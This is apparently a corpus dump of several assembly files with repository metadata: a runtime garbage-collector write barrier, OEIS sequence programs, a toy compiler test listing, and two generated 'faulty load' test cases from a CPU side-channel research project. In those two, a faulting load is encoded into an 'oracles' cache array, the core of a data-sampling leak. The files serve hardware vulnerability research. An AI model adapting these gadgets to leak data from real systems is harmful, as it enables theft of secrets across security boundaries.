instruction (which has an implicit lock ;; prefix). xchg [esp], DESTREG cmp [DESTREG], REFREG jne &BASENAME&_UpdateShadowHeap_Invalidate_&DESTREG&_&REFREG& ;; The original DESTREG value is now restored but the stack has a value (the shadow version of the ;; location) pushed. Need to discard this push before we are done. add esp, 4 jmp &BASENAME&_UpdateShadowHeap_Done_&DESTREG&_&REFREG& &BASENAME&_UpdateShadowHeap_Invalidate_&DESTREG&_&REFREG&: ;; Someone went and updated the real heap. We need to invalidate the shadow location since we can't ;; guarantee whose shadow update won. ;; Retrieve shadow location from the stack and restore original DESTREG to the stack. This is an ;; additional memory barrier we don't require but it's on the rare path and x86 doesn't have an xchg ;; variant that doesn't implicitly specify the lock prefix. xchg [esp], DESTREG mov dword ptr [DESTREG], INVALIDGCVALUE &BASENAME&_UpdateShadowHeap_PopThenDone_&DESTREG&_&REFREG&: ;; Restore original DESTREG value from the stack. pop DESTREG &BASENAME&_UpdateShadowHeap_Done_&DESTREG&_&REFREG&: endm else ; WRITE_BARRIER_CHECK UPDATE_GC_SHADOW macro BASENAME, DESTREG, REFREG endm endif ; WRITE_BARRIER_CHECK ;; There are several different helpers used depending on which register holds the object reference. Since all ;; the helpers have identical structure we use a macro to define this structure. Two arguments are taken, the ;; name of the register that points to the location to be updated and the name of the register that holds the ;; object reference (this should be in upper case as it's used in the definition of the name of the helper). DEFINE_WRITE_BARRIER macro DESTREG, REFREG ;; Define a helper with a name of the form RhpAssignRefEAX etc. (along with suitable calling standard ;; decoration). The location to be updated is in DESTREG. The object reference that will be assigned into that ;; location is in one of the other general registers determined by the value of REFREG. FASTCALL_FUNC RhpAssignRef&REFREG&, 0 ;; Export the canonical write barrier under unqualified name as well ifidni <REFREG>, <EDX> @RhpAssignRef@0 label proc PUBLIC @RhpAssignRef@0 ALTERNATE_ENTRY RhpAssignRefAVLocation endif ;; Write the reference into the location. Note that we rely on the fact that no GC can occur between here ;; and the card table update we may perform below. mov dword ptr [DESTREG], REFREG ;; Update the shadow copy of the heap with the same value (if enabled). UPDATE_GC_SHADOW RhpAssignRef, DESTREG, REFREG ;; If the reference is to an object that's not in an ephemeral generation we have no need to track it ;; (since the object won't be collected or moved by an ephemeral collection). cmp REFREG, [G_EPHEMERAL_LOW] jb WriteBarrier_NoBarrierRequired_&DESTREG&_&REFREG& cmp REFREG, [G_EPHEMERAL_HIGH] jae WriteBarrier_NoBarrierRequired_&DESTREG&_&REFREG& ;; We have a location on the GC heap being updated with a reference to an ephemeral object so we must ;; track this write. The location address is translated into an offset in the card table bitmap. We set ;; an entire byte in the card table since it's quicker than messing around with bitmasks and we only write ;; the byte if it hasn't already been done since writes are expensive and impact scaling. shr DESTREG, 10 add DESTREG, [G_CARD_TABLE] cmp byte ptr [DESTREG], 0FFh jne WriteBarrier_UpdateCardTable_&DESTREG&_&REFREG& WriteBarrier_NoBarrierRequired_&DESTREG&_&REFREG&: ret ;; We get here if it's necessary to update the card table. WriteBarrier_UpdateCardTable_&DESTREG&_&REFREG&: mov byte ptr [DESTREG], 0FFh ret FASTCALL_ENDFUNC endm RET4 macro ret 4 endm DEFINE_CHECKED_WRITE_BARRIER_CORE macro BASENAME, DESTREG, REFREG, RETINST ;; The location being updated might not even lie in the GC heap (a handle or stack location for instance), ;; in which case no write barrier is required. cmp DESTREG, [G_LOWEST_ADDRESS] jb &BASENAME&_NoBarrierRequired_&DESTREG&_&REFREG& cmp DESTREG, [G_HIGHEST_ADDRESS] jae &BASENAME&_NoBarrierRequired_&DESTREG&_&REFREG& ;; Update the shadow copy of the heap with the same value just written to the same heap. (A no-op unless ;; we're in a debug build and write barrier checking has been enabled). UPDATE_GC_SHADOW BASENAME, DESTREG, REFREG ;; If the reference is to an object that's not in an ephemeral generation we have no need to track it ;; (since the object won't be collected or moved by an ephemeral collection). cmp REFREG, [G_EPHEMERAL_LOW] jb &BASENAME&_NoBarrierRequired_&DESTREG&_&REFREG& cmp REFREG, [G_EPHEMERAL_HIGH] jae &BASENAME&_NoBarrierRequired_&DESTREG&_&REFREG& ;; We have a location on the GC heap being updated with a reference to an ephemeral object so we must ;; track this write. The location address is translated into an offset in the card table bitmap. We set ;; an entire byte in the card table since it's quicker than messing around with bitmasks and we only write ;; the byte if it hasn't already been done since writes are expensive and impact scaling. shr DESTREG, 10 add DESTREG, [G_CARD_TABLE] cmp byte ptr [DESTREG], 0FFh jne &BASENAME&_UpdateCardTable_&DESTREG&_&REFREG& &BASENAME&_NoBarrierRequired_&DESTREG&_&REFREG&: RETINST ;; We get here if it's necessary to update the card table. &BASENAME&_UpdateCardTable_&DESTREG&_&REFREG&: mov byte ptr [DESTREG], 0FFh RETINST endm ;; This macro is very much like the one above except that it generates a variant of the function which also ;; checks whether the destination is actually somewhere within the GC heap. DEFINE_CHECKED_WRITE_BARRIER macro DESTREG, REFREG ;; Define a helper with a name of the form RhpCheckedAssignRefEAX etc. (along with suitable calling standard ;; decoration). The location to be updated is in DESTREG. The object reference that will be assigned into ;; that location is in one of the other general registers determined by the value of REFREG. ;; WARNING: Code in EHHelpers.cpp makes assumptions about write barrier code, in particular: ;; - Function "InWriteBarrierHelper" assumes an AV due to passed in null pointer will happen on the first instruction ;; - Function "UnwindWriteBarrierToCaller" assumes the stack contains just the pushed return address FASTCALL_FUNC RhpCheckedAssignRef&REFREG&, 0 ;; Export the canonical write barrier under unqualified name as well ifidni <REFREG>, <EDX> @RhpCheckedAssignRef@0 label proc PUBLIC @RhpCheckedAssignRef@0 ALTERNATE_ENTRY RhpCheckedAssignRefAVLocation endif ;; Write the reference into the location. Note that we rely on the fact that no GC can occur between here ;; and the card table update we may perform below. mov dword ptr [DESTREG], REFREG DEFINE_CHECKED_WRITE_BARRIER_CORE RhpCheckedAssignRef, DESTREG, REFREG, ret FASTCALL_ENDFUNC endm ;; One day we might have write barriers for all the possible argument registers but for now we have ;; just one write barrier that assumes the input register is EDX. DEFINE_CHECKED_WRITE_BARRIER ECX, EDX DEFINE_WRITE_BARRIER ECX, EDX ;; Need some more write barriers to run CLR compiled MDIL on Redhawk - commented out for now ;; DEFINE_WRITE_BARRIER EDX, EAX ;; DEFINE_WRITE_BARRIER EDX, ECX ;; DEFINE_WRITE_BARRIER EDX, EBX ;; DEFINE_WRITE_BARRIER EDX, ESI ;; DEFINE_WRITE_BARRIER EDX, EDI ;; DEFINE_WRITE_BARRIER EDX, EBP ;; DEFINE_CHECKED_WRITE_BARRIER EDX, EAX ;; DEFINE_CHECKED_WRITE_BARRIER EDX, ECX ;; DEFINE_CHECKED_WRITE_BARRIER EDX, EBX ;; DEFINE_CHECKED_WRITE_BARRIER EDX, ESI ;; DEFINE_CHECKED_WRITE_BARRIER EDX, EDI ;; DEFINE_CHECKED_WRITE_BARRIER EDX, EBP ;; WARNING: Code in EHHelpers.cpp makes assumptions about write barrier code, in particular: ;; - Function "InWriteBarrierHelper" assumes an AV due to passed in null pointer will happen at @RhpCheckedLockCmpXchgAVLocation@0 ;; - Function "UnwindWriteBarrierToCaller" assumes the stack contains just the pushed return address ;; pass third argument in EAX FASTCALL_FUNC RhpCheckedLockCmpXchg ALTERNATE_ENTRY RhpCheckedLockCmpXchgAVLocation lock cmpxchg [ecx], edx jne RhpCheckedLockCmpXchg_NoBarrierRequired_ECX_EDX DEFINE_CHECKED_WRITE_BARRIER_CORE RhpCheckedLockCmpXchg, ECX, EDX, ret FASTCALL_ENDFUNC ;; WARNING: Code in EHHelpers.cpp makes assumptions about write barrier code, in particular: ;; - Function "InWriteBarrierHelper" assumes an AV due to passed in null pointer will happen at @RhpCheckedXchgAVLocation@0 ;; - Function "UnwindWriteBarrierToCaller" assumes the stack contains just the pushed return address FASTCALL_FUNC RhpCheckedXchg, 0 ;; Setup eax with the new object for the exchange, that way it will automatically hold the correct result ;; afterwards and we can leave edx unaltered ready for the GC write barrier below. mov eax, edx ALTERNATE_ENTRY RhpCheckedXchgAVLocation xchg [ecx], eax DEFINE_CHECKED_WRITE_BARRIER_CORE RhpCheckedXchg, ECX, EDX, ret FASTCALL_ENDFUNC end
45.389513
130
0.753858
1bd7f5083b161e137ce5b1743ec75481495f519d
277
asm
Assembly
programs/oeis/116/A116970.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/116/A116970.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/116/A116970.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A116970: a(n) = (3^n - 7)/2. ; 1,10,37,118,361,1090,3277,9838,29521,88570,265717,797158,2391481,7174450,21523357,64570078,193710241,581130730,1743392197,5230176598,15690529801,47071589410,141214768237,423644304718,1270932914161 mov $1,3 pow $1,$0 div $1,2 mul $1,9 add $1,1
30.777778
198
0.758123
4ce539d6d064717b0ed71e1b057803149ae5c45d
443
asm
Assembly
oeis/278/A278541.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/278/A278541.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/278/A278541.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A278541: a(n) = A046523(A209636(n)). ; Submitted by Christian Krause ; 1,2,4,2,8,6,2,2,16,12,6,6,2,2,2,2,32,24,12,12,6,6,6,6,2,2,2,2,2,2,2,2,64,48,24,24,12,12,12,12,6,6,6,6,6,6,6,6,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,128,96,48,48,24,24,24,24,12,12,12,12,12,12,12,12,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,2,2,2,2 mov $1,1 lpb $0 lpb $0 dif $0,2 mul $1,2 add $1,1 lpe div $0,2 mov $2,$1 mov $1,2 dif $2,2 lpe mov $0,$2 add $0,1
23.315789
232
0.553047
8bd8d1888bb1eb75bfca8357f9ec157c8ef70c4e
343
asm
Assembly
oeis/099/A099483.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/099/A099483.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/099/A099483.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A099483: A Fibonacci convolution. ; Submitted by Jamie Morken ; 0,1,3,7,18,48,126,329,861,2255,5904,15456,40464,105937,277347,726103,1900962,4976784,13029390,34111385,89304765,233802911,612103968,1602508992,4195423008,10983760033,28755857091,75283811239,197095576626 mul $0,2 add $0,1 seq $0,71 ; a(n) = Fibonacci(n) - 1. add $0,2 div $0,3
34.3
204
0.766764
a0b32bf0182cf746e6ba052df9d386a14db1d823
6,823
asm
Assembly
Transynther/x86/_processed/AVXALIGN/_zr_/i9-9900K_12_0xca_notsx.log_21829_1646.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/AVXALIGN/_zr_/i9-9900K_12_0xca_notsx.log_21829_1646.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/AVXALIGN/_zr_/i9-9900K_12_0xca_notsx.log_21829_1646.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r14 push %r15 push %r8 push %rbp push %rbx push %rcx push %rdi push %rsi lea addresses_WC_ht+0x1c94b, %r14 nop nop and $32047, %rcx movb $0x61, (%r14) inc %rdi lea addresses_A_ht+0x19e53, %rsi nop cmp $55223, %r14 vmovups (%rsi), %ymm2 vextracti128 $1, %ymm2, %xmm2 vpextrq $1, %xmm2, %r8 nop nop nop nop nop dec %rsi lea addresses_UC_ht+0x1153, %rcx sub $41877, %r14 mov (%rcx), %di nop cmp $42573, %r14 lea addresses_A_ht+0x1a853, %r15 nop nop nop nop nop and %rbp, %rbp mov $0x6162636465666768, %rsi movq %rsi, %xmm4 and $0xffffffffffffffc0, %r15 movntdq %xmm4, (%r15) cmp %rsi, %rsi lea addresses_WT_ht+0x17dd3, %r14 nop nop nop nop nop dec %r8 movups (%r14), %xmm5 vpextrq $0, %xmm5, %rcx xor %r15, %r15 lea addresses_WT_ht+0xf1d3, %rsi lea addresses_normal_ht+0x4d53, %rdi nop nop add $33923, %rbx mov $98, %rcx rep movsq add $61746, %rdi lea addresses_WC_ht+0x1adb7, %rsi lea addresses_WC_ht+0xe3f5, %rdi nop nop nop nop nop add $43421, %rbp mov $22, %rcx rep movsq nop nop nop nop cmp $15329, %rbx lea addresses_normal_ht+0xf553, %rsi lea addresses_WT_ht+0x15663, %rdi cmp $35194, %rbx mov $63, %rcx rep movsw nop nop nop nop cmp %rbp, %rbp lea addresses_normal_ht+0x9d53, %r14 add %rdi, %rdi movw $0x6162, (%r14) nop sub $17447, %rbx lea addresses_normal_ht+0x13253, %rsi lea addresses_normal_ht+0x103b7, %rdi clflush (%rsi) nop nop nop and %rbx, %rbx mov $53, %rcx rep movsw nop nop cmp $46714, %rdi pop %rsi pop %rdi pop %rcx pop %rbx pop %rbp pop %r8 pop %r15 pop %r14 ret .global s_faulty_load s_faulty_load: push %r14 push %rax push %rbp push %rcx push %rdi push %rdx // Store mov $0x953, %rdx nop nop inc %rdi mov $0x5152535455565758, %rax movq %rax, %xmm5 movups %xmm5, (%rdx) nop inc %rdi // Faulty Load lea addresses_PSE+0x4553, %r14 nop nop and %rbp, %rbp movntdqa (%r14), %xmm2 vpextrq $0, %xmm2, %rax lea oracles, %rdx and $0xff, %rax shlq $12, %rax mov (%rdx,%rax,1), %rax pop %rdx pop %rdi pop %rcx pop %rbp pop %rax pop %r14 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_PSE', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_P', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 7}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_PSE', 'NT': True, 'AVXalign': False, 'size': 16, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 1}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 5}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 7}} {'OP': 'STOR', 'dst': {'same': True, 'type': 'addresses_A_ht', 'NT': True, 'AVXalign': False, 'size': 16, 'congruent': 7}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 7}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 6, 'type': 'addresses_WT_ht'}, 'dst': {'same': True, 'congruent': 11, 'type': 'addresses_normal_ht'}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 2, 'type': 'addresses_WC_ht'}, 'dst': {'same': False, 'congruent': 1, 'type': 'addresses_WC_ht'}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 11, 'type': 'addresses_normal_ht'}, 'dst': {'same': True, 'congruent': 3, 'type': 'addresses_WT_ht'}} {'OP': 'STOR', 'dst': {'same': True, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 10}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 4, 'type': 'addresses_normal_ht'}, 'dst': {'same': False, 'congruent': 2, 'type': 'addresses_normal_ht'}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
38.767045
2,999
0.66012
aca77b851f7f83d166ada810de691a52da0ff1ec
677
asm
Assembly
libsrc/_DEVELOPMENT/alloc/malloc/c/sdcc_iy/aligned_alloc_callee.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/alloc/malloc/c/sdcc_iy/aligned_alloc_callee.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/alloc/malloc/c/sdcc_iy/aligned_alloc_callee.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
; void *aligned_alloc_callee(size_t alignment, size_t size) INCLUDE "clib_cfg.asm" SECTION code_alloc_malloc ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; IF __CLIB_OPT_MULTITHREAD & $01 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; PUBLIC _aligned_alloc_callee _aligned_alloc_callee: pop hl pop bc ex (sp),hl INCLUDE "alloc/malloc/z80/asm_aligned_alloc.asm" ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ELSE ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; PUBLIC _aligned_alloc_callee EXTERN _aligned_alloc_unlocked_callee defc _aligned_alloc_callee = _aligned_alloc_unlocked_callee INCLUDE "alloc/malloc/z80/asm_aligned_alloc.asm" ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ENDIF ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
18.297297
59
0.576071
c6c2bf0ea829b932ba21dd17af3dd066c94e57fe
4,453
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_1562.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_1562.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_1562.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: ret .global s_faulty_load s_faulty_load: push %r10 push %r14 push %rax push %rbp push %rbx push %rcx push %rsi // Load lea addresses_D+0x6c60, %rcx nop inc %rbx mov (%rcx), %r14 add %rcx, %rcx // Load lea addresses_PSE+0x13340, %rax nop cmp %rbp, %rbp movntdqa (%rax), %xmm2 vpextrq $0, %xmm2, %r10 nop nop nop add $12229, %rax // Store lea addresses_WT+0x16820, %r14 sub %rsi, %rsi mov $0x5152535455565758, %rbp movq %rbp, %xmm3 vmovups %ymm3, (%r14) nop nop xor %rbp, %rbp // Faulty Load lea addresses_WC+0x61f0, %rcx nop nop nop nop add $48128, %r14 mov (%rcx), %eax lea oracles, %r14 and $0xff, %rax shlq $12, %rax mov (%r14,%rax,1), %rax pop %rsi pop %rcx pop %rbx pop %rbp pop %rax pop %r14 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WC', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_D', 'NT': False, 'AVXalign': True, 'size': 8, 'congruent': 2}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_PSE', 'NT': True, 'AVXalign': False, 'size': 16, 'congruent': 4}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 2}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_WC', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0}} <gen_prepare_buffer> {'38': 21829} 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 */
57.831169
2,999
0.657085
5bc11b96d74d3aa403a422a903e87fab590c03f2
418
asm
Assembly
cc4x86/tests/regressive/asm_listings/simple_test__optimize_noregalloc.asm
artyompal/C-compiler
0c13e96b926d4c3282be8e9629cbc7ba439ea2d4
[ "MIT" ]
4
2017-03-19T20:10:55.000Z
2022-01-20T08:34:25.000Z
cc4x86/tests/regressive/asm_listings/simple_test__optimize_noregalloc.asm
artyompal/C-compiler
0c13e96b926d4c3282be8e9629cbc7ba439ea2d4
[ "MIT" ]
null
null
null
cc4x86/tests/regressive/asm_listings/simple_test__optimize_noregalloc.asm
artyompal/C-compiler
0c13e96b926d4c3282be8e9629cbc7ba439ea2d4
[ "MIT" ]
null
null
null
.686 .model flat .xmm .code _test proc create_stack_frame mov dword7,2 imul dword7,2 cmp dword7,4 jne label0000 mov dword11,0 set_retval dword11 destroy_stack_frame ret label0000: mov dword12,1 set_retval dword12 destroy_stack_frame ret _test endp end
